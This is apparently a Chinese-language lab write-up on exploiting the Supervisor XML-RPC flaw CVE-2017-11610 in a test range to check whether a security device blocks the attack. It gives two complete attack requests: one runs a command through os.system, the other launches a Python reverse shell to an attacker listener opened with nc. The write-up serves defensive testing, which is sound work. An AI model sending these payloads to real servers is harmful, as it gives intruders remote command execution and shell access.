一、CVE-2017-11610 Supervisor XML-RPC认证用户远程代码执行漏洞——漏洞攻击
1.简介
Supervisor是一套进程控制系统,用于监视和控制类Unix系统上的进程。XML-RPC server是其中的一个XML-RPC服务器。Supervisor中的XML-RPC服务器存在安全漏洞。远程攻击者可借助特制的XML-RPC请求利用该漏洞执行任意命令。以下版本受到影响:supervisor 3.0.1之前的版本,3.1.4之前的3.1.x版本,3.2.4之前的3.2.x版本,3.3.3之前的3.3.x版本。
2.vulfocus搭建靶场
下面截图图中访问地址实际和端口使192.168.20.240:26789
3.攻击源构造burpsuite报文
访问192.168.20.240:26789, burpsuite拦截报文内容后,发送到repeater, 构造包含supervisor.supervisord.options.warnings.linecache.os.system的如下报文发送,发送成功后,靶机上会自动在/tmp目录下生成success文件
POST /RPC2 HTTP/1.1
Host: 192.168.20.240:26789
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 215
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
4.攻击成功
靶机上生成success文件
5.测试DUT防护
DUT 开启防护功能后,发送攻击报文失败,DUT产生告警日志
二、反弹shell攻击——利用CVE-2017-11610
1.简介
反弹shell就是一种入侵行为,主要表现为本地主机主动连接远端的攻击者,这样远端攻击者会获得本地主机的执行环境,拥有所有权限,可以任意执行命令,如图2所示。
2.volfocus 搭建靶场
靶场与上面的一样,重新启动后,端口号实际变成了11967,忽略下面截图中的端口号
3.攻击源动作
攻击源使用kali系统,先使用nc -lvp 9999监听9999端口,然后burpsuite构造报文发送到靶机
POST /RPC2 HTTP/1.1
Host: 192.168.20.240:11967
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Accept: text/xml
Content-Type: text/xml
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 639
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.3",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>
4.攻击成功
发送后,成功反弹shell到攻击源,此时攻击源可以访问靶机shell,获取/etc/passwd等信息
5.测试DUT防护
DUT开启反弹shell防护,当靶机shell反弹到攻击源后,检测到有命令输入时,会重置链接,使链接断开,并产生告警日志
6.遇到的问题
反弹后,如果攻击源退出靶机shell,burpsuite 再次发送同样的攻击报文无法触发shell反弹,发现192.168.20.240:11967也无法访问,链接被重置。
此时停止/重新启动靶机,再次同样的步骤可以成功触发反弹shell。